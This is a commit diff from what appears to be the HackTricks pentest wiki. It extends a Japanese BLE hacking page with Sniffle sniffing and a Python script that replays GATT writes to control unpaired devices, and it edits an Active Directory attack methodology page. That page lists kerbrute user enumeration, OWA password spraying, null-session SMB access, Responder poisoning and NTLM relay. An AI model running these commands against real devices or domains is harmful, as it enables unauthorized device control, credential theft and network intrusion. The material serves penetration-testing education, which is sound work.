Translated ['src/windows-hardening/active-directory-methodology/README.m

This commit is contained in:
Translator 2025-08-28 14:57:37 +00:00
parent c6c5be4e55
commit 03e1b4a559
2 changed files with 328 additions and 202 deletions

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduction
## はじめに
Bluetooth 4.0仕様から利用可能なBLEは、2400から2483.5 MHzの範囲をカバーする40のチャネルのみを使用します。対照的に、従来のBluetoothは同じ範囲で79のチャネルを使用します。
Bluetooth 4.0 の仕様以降で利用可能な BLE は、2400〜2483.5 MHz の範囲でわずか 40 チャネルのみを使用します。対照的に、従来の Bluetooth は同じ範囲で 79 チャネルを使用します。
BLEデバイスは、**広告パケット****ビーコンサ**を送信することで通信します。これらのパケットは、BLEデバイスの存在を他の近くのデバイスにブロードキャストします。これらのビーコンは時々**データ**も**送信**します。
BLE デバイスは **advertising packets****beacons**を送信して通信します。これらのパケットは、BLE デバイスの存在を近隣のデバイスにブロードキャストします。これらの beacons は時に **データを送信する** こともあります。
リスニングデバイス、別名セントラルデバイスは、広告デバイスに特に送信された**SCANリクエスト**で広告パケットに応答できます。そのスキャンへの**応答**は、完全なデバイス名など、最初の広告リクエストに収まらなかった追加情報を含む**広告**パケットと同じ構造を使用します。
受信側のデバイスcentral device とも呼ばれるは、advertising パケットに対して当該 advertising デバイス宛てに送られる **SCAN request** で応答できます。そのスキャンへの **response****advertising** パケットと同じ構造を使用しますが、初回の advertising で収まらなかった追加情報(フルデバイス名など)を含みます。
![](<../../images/image (152).png>)
プレアンブルバイトは周波数を同期させ、4バイトのアクセスアドレスは**接続識別子**であり、複数のデバイスが同じチャネルで接続を確立しようとするシナリオで使用されます。次に、プロトコルデータユニット(**PDU**)は**広告データ**を含みます。PDUにはいくつかのタイプがあり、最も一般的に使用されるのはADV_NONCONN_INDとADV_INDです。デバイスは**接続を受け入れない**場合、**ADV_NONCONN_IND** PDUタイプを使用し、広告パケット内でのみデータを送信します。デバイスは**接続を許可する**場合、**ADV_IND**を使用し、**接続**が**確立**されると広告パケットの送信を**停止**します。
プレアンブルバイトは周波数の同期に使われ、4 バイトの access address は複数のデバイスが同じチャネルで接続を確立しようとする場合に使用される **connection identifier** です。続いて、Protocol Data Unit**PDU**)には **advertising data** が格納されます。PDU にはいくつかの種類があり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスは接続を受け付けない場合、**ADV_NONCONN_IND** PDU タイプを使用し、advertising パケットのみでデータを送信します。デバイスが接続を許可する場合は **ADV_IND** を使用し、**connection** が **established** されると advertising パケットの送信を停止します。
### GATT
**汎用属性プロファイル**GATTは、**デバイスがデータをフォーマットし転送する方法**を定義します。BLEデバイスの攻撃面を分析する際、GATTまたはGATTsに注意を集中させることがよくあります。なぜなら、それが**デバイス機能をトリガーする方法**であり、データが保存、グループ化、変更される方法だからです。GATTは、デバイスの特性、記述子、およびサービスを16ビットまたは32ビットの値として表形式でリストします。**特性**は、セントラルデバイスと周辺デバイス間で**送信される**データ値です。これらの特性には、**追加情報を提供する**記述子がある場合があります。**特性**は、特定のアクションを実行することに関連している場合、**サービス**に**グループ化**されることがよくあります。
Generic Attribute ProfileGATTは、デバイスがデータをどのようにフォーマットし転送するかを定義します。BLE デバイスの攻撃対象面を解析する際には、GATTまたは GATTsに注目することが多いです。というのも、デバイス機能がどのようにトリガーされるか、データがどのように格納・グループ化・変更されるかが GATT に定義されているからです。GATT はデバイスの characteristics、descriptors、services を 16 ビットまたは 32 ビットの値としてテーブルに列挙します。characteristic は central device と peripheral 間で送受信されるデータ値です。これらの characteristics には追加情報を提供する descriptors を持つことがあります。関連する動作を実行する場合、characteristics はしばしば services にグループ化されます。
## Enumeration
## 列挙
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** は、別のデバイスとの **接続****確立** し、そのデバイスの **特性** をリストし、属性を読み書きすることを可能にします。\
GATTTool は `-I` オプションを使用してインタラクティブシェルを起動できます:
**GATTool** は別のデバイスと**接続**を**確立**し、そのデバイスの**特性**を列挙し、属性の読み書きを行うことができます。\
GATTTool は `-I` オプションでインタラクティブシェルを起動できます:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -52,7 +52,7 @@ gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
```
### ベターキャップ
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing と未ペアリングの BLE デバイスを能動的に制御する
多くの低コストな BLE ペリフェラルは pairing/bonding を強制しません。bonding がないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは cleartext になります。off-path sniffer は接続を追跡して GATT 操作をデコードし、characteristic handles と値を把握できます。近隣の任意のホストは接続してこれらの writes を replay することでデバイスを制御できます。
### Sniffle を使った Sniffing (CC26x2/CC1352)
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) を NCC Group の Sniffle ファームウェアで再フラッシュしたもの。
Linux 上に Sniffle とその Wireshark extcap をインストールする:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Sonoff を Sniffle firmware でフラッシュする(シリアルデバイスが一致していることを確認してください。例: /dev/ttyUSB0:
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Sniffle extcap を使って Wireshark でキャプチャし、フィルタリングで状態変更を伴う書き込みに素早く pivot する:
```text
_ws.col.info contains "Sent Write Command"
```
これはクライアントからの ATT Write Commands をハイライトします。ハンドルと値は多くの場合デバイスの動作に直接対応します(例:ブザー/alert characteristic に 0x01 を書き込むと作動、0x00 を書き込むと停止)。
Sniffle CLI の簡単な例:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternative sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin も動作します。小型/安価な Nordic ドングルでは、通常 sniffer firmware をロードするために USB bootloader を上書きするので、専用の sniffer ドングルを保持するか、後でブートローダを復元するために J-Link/JTAG が必要になります。
### GATT を介したアクティブ制御
sniffed traffic から writable characteristic handle と value を特定したら、任意の central として接続し、同じ write を実行します:
- Nordic nRF Connect for Desktop (BLE app) を使用して:
- nRF52/nRF52840 ドングルを選択し、スキャンしてターゲットに接続します。
- GATT database を参照し、ターゲットの characteristic を探します(多くはフレンドリ名、例: Alert Level
- sniffed bytes を使って Write を実行します(例: 01 でトリガ、00 で停止)。
- Windows 上で Nordic ドングルを使い Python + blatann で自動化する:
```python
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### 運用上の注意点と対策
- 安定したチャネルホッピングと接続追跡のため、Linux上でSonoff+Sniffleを推奨する。バックアップとして予備のNordic snifferを用意しておくこと。
- pairing/bondingがないと、近隣の攻撃者は書き込みを観察し、unauthenticated writable characteristicsに対してリプレイや偽造した書き込みを行える。
- 緩和策: pairing/bondingを必須にして暗号化を強制する; characteristicの権限をauthenticated writesを要求するよう設定する; unauthenticated writable characteristicsを最小化する; Sniffle/nRF ConnectでGATT ACLsを検証する。
## 参考
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,58 +1,58 @@
# Active Directory 方法論
# Active Directory Methodology
{{#include ../../banners/hacktricks-training.md}}
## 基本概要
## Basic overview
**Active Directory** は基盤技術として機能し、ネットワーク内で **network administrators****domains**, **users**, および **objects** を効率的に作成・管理できるようにします。スケーラブルに設計されており、多数のユーザーを扱いやすい **groups****subgroups** に整理し、さまざまなレベルでの **access rights** を制御できます。
**Active Directory** は基盤技術として機能し、**network administrators** がネットワーク内で **domains**, **users**, および **objects** を効率的に作成・管理できるようにします。スケールするように設計され、多数のユーザーを管理しやすい **groups****subgroups** に整理し、様々なレベルで **access rights** を制御できます。
**Active Directory** の構造は主に三つのレイヤーで構成されます:**domains**, **trees**, および **forests**。**domain** は共通のデータベースを共有する **users****devices** といったオブジェクトの集合を含みます。**trees** は共通の構造で結ばれたこれらのドメインのグループであり、**forest** は複数のツリーを **trust relationships** を通じて結びつけた、組織構造の最上位レイヤーです。各レベルで特定の **access****communication rights** を指定できます。
**Active Directory** の構造は主に三つの層で構成されています: **domains**, **trees**, および **forests**。**domain** は共通のデータベースを共有する **users****devices** のようなオブジェクトの集合を包含します。**trees** は共通の構造で結ばれたこれらの domains のグループで、**forest** は複数の trees が **trust relationships** を介して接続された最上位の組織構造を表します。各レベルで特定の **access****communication rights** を指定できます。
**Active Directory** の主要概念は以下の通りです:
**Active Directory** の主要な概念には次のものがあります:
1. **Directory** Active Directory オブジェクトに関する全情報を保持します。
2. **Object** ディレクトリ内のエンティティを指し、**users**, **groups**, または **shared folders** を含みます。
3. **Domain** ディレクトリオブジェクトのコンテナで、複数のドメインが **forest** 内に共存でき、それぞれ独自のオブジェクトコレクションを保持します。
4. **Tree** 共通のルートドメインを共有するドメインのグループです。
5. **Forest** Active Directory の組織構造における頂点で、複数のツリーとそれらの間にある **trust relationships** で構成されます。
1. **Directory** Active Directory オブジェクトに関する全情報を格納します。
2. **Object** ディレクトリ内の実体を指し、**users**, **groups**, または **shared folders** などが含まれます。
3. **Domain** ディレクトリオブジェクトのコンテナとして機能し、複数の domains が **forest** 内に共存でき、それぞれが独自のオブジェクト集合を保持します。
4. **Tree** 共通の root domain を共有する domains のグループです。
5. **Forest** Active Directory の組織構造の頂点で、複数の trees とそれらの間の **trust relationships** で構成されます。
**Active Directory Domain Services (AD DS)** はネットワーク内での集中管理と通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
**Active Directory Domain Services (AD DS)** は、ネットワーク内の集中管理と通信に重要な一連のサービスを含みます。これらのサービスには次が含まれます:
1. **Domain Services** データの中央集約と **users****domains** 間のやり取り(**authentication** や **search** 機能を含む)を管理します。
2. **Certificate Services** 安全な **digital certificates** の作成、配布、管理を監督します。
1. **Domain Services** データの集中格納と **users****domains** 間のやり取りを管理し、**authentication** や **search** 機能を提供します。
2. **Certificate Services** 安全な **digital certificates** の作成、配布、管理を行います。
3. **Lightweight Directory Services** **LDAP protocol** を通じてディレクトリ対応アプリケーションをサポートします。
4. **Directory Federation Services** 複数の web アプリケーションに対して**single-sign-on** を提供し、1回のセッションでユーザーを認証します。
5. **Rights Management** 著作物の無許可配布や使用を制御して保護を支援します。
4. **Directory Federation Services** 複数の web アプリケーション間での **single-sign-on** を提供します。
5. **Rights Management** 著作物の不正配布や使用を制御して保護を支援します。
6. **DNS Service** **domain names** の解決に不可欠です。
詳細は次を参照してください: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
AD を攻撃する方法を学ぶには、**Kerberos authentication process** を非常によく理解する必要があります。\
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
## チートシート
## Cheat Sheet
列挙/悪用のために実行できるコマンドを手早く確認するには、[https://wadcoms.github.io/](https://wadcoms.github.io) を参照してください。
You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
> [!WARNING]
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
> Kerberos communication **requires a full qualified name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not Kerberos**.
## Recon Active Directory (No creds/sessions)
もし AD 環境にアクセスはあるが資格情報/セッションがない場合、次のことが可能です:
If you just have access to an AD environment but you don't have any credentials/sessions you could:
- **Pentest the network:**
- ネットワークをスキャンし、マシンや開いているポートを見つけて、**exploit vulnerabilities** したりそれらから **extract credentials** を試みます(例えば、[printers could be very interesting targets](ad-information-in-printers.md))。
- DNS の列挙は、web、printers、shares、vpn、media などドメイン内の主要なサーバーに関する情報を与えることがあります。
- Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md).
- Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 詳細は一般的な [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) を参照してください。
- **Check for null and Guest access on smb services**(これは最新の Windows バージョンでは機能しません):
- Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this.
- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- SMB サーバーを列挙する詳細ガイドは以下にあります:
- A more detailed guide on how to enumerate a SMB server can be found here:
{{#ref}}
@ -61,7 +61,7 @@ AD を攻撃する方法を学ぶには、**Kerberos authentication process**
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP を列挙する詳細ガイドはここにあります(**anonymous access** に特に注意してください):
- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
{{#ref}}
@ -69,21 +69,21 @@ AD を攻撃する方法を学ぶには、**Kerberos authentication process**
{{#endref}}
- **Poison the network**
- Responder を使って **impersonating services** を行い資格情報を収集する([**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) によりホストへアクセスする
- fake UPnP サービスを **evil-S** で公開して資格情報を収集する([**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Access host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- ドメイン環境内および公開されている資料からユーザー名や氏名を抽出します(主に web
- 企業の従業員のフルネームが見つかった場合、さまざまな AD **username conventions** を試すことができます([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な規則は: _NameSurname_, _Name.Surname_, _NamSur_各3文字ずつ, _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, そして 3 つの _random letters and 3 random numbers_abc123
- ツール:
- Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available.
- If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
- Tools:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### User enumeration
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) および [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) のページを確認してください。
- **Kerbrute enum**: 無効なユーザー名がリクエストされた場合、サーバーは **Kerberos error** コード _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ を返し、ユーザー名が無効であることを判別できます。有効なユーザー名は **TGT in a AS-REP** レスポンスか、プリ認証が必要であることを示すエラー _KRB5KDC_ERR_PREAUTH_REQUIRED_ のいずれかを引き起こします。
- **No Authentication against MS-NRPC**: domain controllers 上の MS-NRPC (Netlogon) インターフェイスに対して auth-level = 1 (No authentication) を使用する方法です。この手法は MS-NRPC インターフェイスにバインドした後 `DsrGetDcNameEx2` 関数を呼び出し、資格情報なしでユーザーやコンピュータが存在するかを確認します。NauthNRPC ツールはこのタイプの列挙を実装しています。研究はここにあります: [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
```
- **OWA (Outlook Web Access) Server**
ネットワーク内でこれらのサーバーを見つけた場合、**user enumeration against it** を実行することもできます。例えば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper):
ネットワーク内でこれらのサーバーを見つけた場合、**user enumeration against it** を実行することもできます。例えば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper) を使用できます:
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> ユーザー名の一覧は [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) およびこのリポジトリ ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) で見つけられます。
> ユーザー名の一覧は [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) および ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) にあります。
>
> ただし、事前に行った recon のステップから、その会社で働いている人の **name of the people working on the company** を把握しているはずです。名前と姓が分かれば、スクリプト [**namemash.py**](https://gist.github.com/superkojiman/11076951) を使って潜在的な有効ユーザー名を生成できます。
> ただし、事前に行うべき recon ステップでその会社で働いている人々の **name** を把握しておくべきです。名前と姓がわかればスクリプト [**namemash.py**](https://gist.github.com/superkojiman/11076951) を使って有効な username の候補を生成できます。
### Knowing one or several usernames
Ok, so you know you have already a valid username but no passwords... Then try:
OK、すでに有効な username を把握しているが passwords を持っていない場合は、次を試してください:
- [**ASREPRoast**](asreproast.md): ユーザーが属性 _DONT_REQ_PREAUTH_ を**持っていない**場合、そのユーザーに対して **AS_REP message を要求**できます。これにはユーザーのパスワードの派生鍵で暗号化されたデータが含まれます。
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**common passwords** を試してみてください。悪いパスワードを使っているユーザーがいるかもしれません(パスワードポリシーに注意!)。
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
- [**ASREPRoast**](asreproast.md): ユーザーが属性 _DONT_REQ_PREAUTH_ を **持っていない** 場合、そのユーザーの AS_REP メッセージを **要求** でき、そのメッセージはユーザーの password の導出で暗号化されたデータを含みます。
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も **一般的な passwords** を試してみてください。悪い password を使っているユーザーがいるかもしれませんpassword policy を忘れずに!)。
- OWA サーバーを **spray** してユーザーの mail サーバーへのアクセスを試みることもできます。
{{#ref}}
@ -129,7 +129,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
一部のチャレンジ **hashes** を取得してネットワーク内のいくつかのプロトコルを **poisoning** し、後で crack することができるかもしれません:
{{#ref}}
@ -138,57 +138,57 @@ You might be able to **obtain** some challenge **hashes** to crack **poisoning**
### NTLM Relay
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env.
Active Directory を列挙できていれば、**より多くのメールアドレスやネットワークの理解** が得られます。NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) を強制して AD 環境へアクセスできる可能性があります。
### Steal NTLM Creds
If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
**null** や **guest user** で他の PC や shares に **アクセス** できる場合、SCF ファイルのようなファイルを **配置** して、誰かがそれを参照すると **あなたに対する NTLM 認証がトリガーされ**、NTLM チャレンジを盗んで crack できる可能性があります:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Enumerating Active Directory WITH credentials/session
## 資格情報/セッションありでの Active Directory 列挙
For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
このフェーズでは、有効なドメインアカウントの **credentials または session を奪取** している必要があります。もし有効な credentials やドメインユーザーとしてのシェルを持っているなら、前に挙げたオプションは他のユーザーを侵害するための選択肢として引き続き有効であることを覚えておいてください。
Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
認証済み列挙を開始する前に、**Kerberos double hop problem** を理解しておくべきです。
{{#ref}}
kerberos-double-hop-problem.md
{{#endref}}
### Enumeration
### 列挙
Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
アカウントを侵害することはドメイン全体を侵害し始めるための **大きな一歩** です。これにより Active Directory 列挙を開始できます:
Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
[**ASREPRoast**](asreproast.md) に関しては、今や脆弱なユーザーを全て見つけられますし、[**Password Spraying**](password-spraying.md) に関しては、**すべての username のリスト** を取得して、侵害したアカウントの password、空の password、その他有望な password を試すことができます。
- [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) を使って基本的な recon を実行できます。
- [**powershell for recon**](../basic-powershell-for-pentesters/index.html) を使うこともでき、こちらのほうがよりステルスです。
- [**use powerview**](../basic-powershell-for-pentesters/powerview.md) を使ってより詳細な情報を抽出できます。
- Active Directory の recon にもう一つ素晴らしいツールは [**BloodHound**](bloodhound.md) です。収集手法によりますが **not very stealthy** です。ですが、それを気にしないなら、ぜひ試してみてください。ユーザーがどこで RDP できるか、他のグループへの経路などを見つけられます。
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) は興味深い情報を含んでいる可能性があります
- ディレクトリを列挙するために使える **tool with GUI****SysInternal** Suite の **AdExplorer.exe**す。
- **ldapsearch** で LDAP データベースを検索し、_userPassword_ & _unixUserPassword_ フィールド、あるいは _Description_ 内の資格情報を探すこともできます。その他の手法は cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) を参照してください
- **Linux** を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview) を使ってドメインを列挙することもできます。
- 自動化ツールとして次のものも試せます:
- 基本的な recon を実行するには [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) を使うことができます
- よりステルスに行うなら [**powershell for recon**](../basic-powershell-for-pentesters/index.html) を使用できます
- より詳細な情報を抽出するには [**use powerview**](../basic-powershell-for-pentesters/powerview.md) を使えます
- Active Directory の recon に便利なツールとして [**BloodHound**](bloodhound.md) があります。収集方法によっては **あまりステルスではありません** が、気にしないならぜひ試してください。どこでユーザーが RDP できるか、他のグループへのパスなどを見つけられます。
- **その他の自動化された AD 列挙ツール:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)****
- 興味深い情報が含まれている可能性があるので、[**AD の DNS レコード**](ad-dns-records.md) を確認してください
- GUI ベースのディレクトリ列挙ツールとしては **SysInternal** Suite の **AdExplorer.exe** を使えます。
- ldapsearch を使って LDAP データベースを検索し、フィールド _userPassword__unixUserPassword_、あるいは _Description_ に credential がないか探すこともできます。その他の方法については PayloadsAllTheThings の "Password in AD User comment" を参照してください(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment
- **Linux** を使っているなら [**pywerview**](https://github.com/the-useless-one/pywerview) でドメインを列挙できます。
- 自動化ツールの例:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
